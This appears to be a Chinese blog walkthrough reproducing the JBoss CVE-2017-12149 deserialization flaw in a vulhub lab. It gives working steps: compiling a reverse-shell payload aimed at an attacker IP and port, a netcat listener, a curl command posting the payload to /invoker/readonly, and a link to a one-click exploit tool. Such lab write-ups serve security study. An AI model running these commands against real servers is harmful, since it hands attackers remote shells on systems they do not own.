Jboss（CVE-2017-12149）反序列化命令执行漏洞

绝地灬酷狼 2023-10-07 22:00 14阅读 0赞

### **漏洞简介** ###

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。  
受影响系统及应用版本 Jboss AS 5.x、Jboss AS 6.x

#### **环境搭建** ####

使用vulhub靶场

> cd vulhub/jboss/CVE-2017-12149
> 
> docker-compose up -d

访问靶场

![21dbf8b2ed144088bac913a66c859e44.png][]

访问 JBoss漏洞页面，`http://your-ip:8080/invoker/readonly`

`如返回 HTTP Status 500,表示存在漏洞`

![e9894661021746728d7e27d100ee1957.png][]

##    漏洞复现 ##

#### **poc脚本** ####

脚本地址[http://scan.javasec.cn/java/JavaDeserH2HC.zip][http_scan.javasec.cn_java_JavaDeserH2HC.zip]

解压至kali

![080aaa7c024f46589eaa6fc551e01e37.png][]

1.编译预置 Payload 的 Java 文件(需要JDK环境)

在脚本目录下执行命令：

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

![f1c80b035a7b47a09c83bed8f0e3f018.png][]

2.开启监听：nc -lvvp 2022

![8463f24969a24072bb6ae481c3e8eb12.png][]

3.执行以下命令，反弹 Shell 的IP（ Kali 攻击机的IP）和端口：

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap  your-ip:port

![7ab7c0b7764343d2bd86eb5fc6a271bd.png][]

4.使用 curl 命令向`http://your-ip:8080/invoker/readonly`提交payload（上面生成的反序列化对象）：

curl http://your-ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

![af57cdce8e6e4a159fb0e3151471709d.png][]

5.刚才 Kali 开启的监听 2022 端口的终端即可获得反弹 Shell：

![9fc28a820b2741d8a1cdf99d0e400b36.png][]

### 工具利用 ###

工具地址：[https://github.com/yunxu1/jboss-\_CVE-2017-12149][https_github.com_yunxu1_jboss-_CVE-2017-12149]

解压至kali ![68d8f66c1de24deea718f66041dfef19.png][]

在工具目录下，启动工具：java -jar jboss反序列\_CVE-2017-12149.jar

![3d1741f4f0174c2d96d6c52c34539e34.png][]

输入目标IP，点击执行，kali环境下没有检测出当前系统环境，但是可以执行命令。

![49f35d77b7904c07af0f2cf35e6fbcf8.png][]

参考链接：

[https://bwshen.blog.csdn.net/article/details/107184574][https_bwshen.blog.csdn.net_article_details_107184574]

[21dbf8b2ed144088bac913a66c859e44.png]: https://img-blog.csdnimg.cn/21dbf8b2ed144088bac913a66c859e44.png
[e9894661021746728d7e27d100ee1957.png]: https://img-blog.csdnimg.cn/e9894661021746728d7e27d100ee1957.png
[http_scan.javasec.cn_java_JavaDeserH2HC.zip]: http://scan.javasec.cn/java/JavaDeserH2HC.zip
[080aaa7c024f46589eaa6fc551e01e37.png]: https://img-blog.csdnimg.cn/080aaa7c024f46589eaa6fc551e01e37.png
[f1c80b035a7b47a09c83bed8f0e3f018.png]: https://img-blog.csdnimg.cn/f1c80b035a7b47a09c83bed8f0e3f018.png
[8463f24969a24072bb6ae481c3e8eb12.png]: https://img-blog.csdnimg.cn/8463f24969a24072bb6ae481c3e8eb12.png
[7ab7c0b7764343d2bd86eb5fc6a271bd.png]: https://img-blog.csdnimg.cn/7ab7c0b7764343d2bd86eb5fc6a271bd.png
[af57cdce8e6e4a159fb0e3151471709d.png]: https://img-blog.csdnimg.cn/af57cdce8e6e4a159fb0e3151471709d.png
[9fc28a820b2741d8a1cdf99d0e400b36.png]: https://img-blog.csdnimg.cn/9fc28a820b2741d8a1cdf99d0e400b36.png
[https_github.com_yunxu1_jboss-_CVE-2017-12149]: https://github.com/yunxu1/jboss-_CVE-2017-12149
[68d8f66c1de24deea718f66041dfef19.png]: https://img-blog.csdnimg.cn/68d8f66c1de24deea718f66041dfef19.png
[3d1741f4f0174c2d96d6c52c34539e34.png]: https://img-blog.csdnimg.cn/3d1741f4f0174c2d96d6c52c34539e34.png
[49f35d77b7904c07af0f2cf35e6fbcf8.png]: https://img-blog.csdnimg.cn/49f35d77b7904c07af0f2cf35e6fbcf8.png
[https_bwshen.blog.csdn.net_article_details_107184574]: https://bwshen.blog.csdn.net/article/details/107184574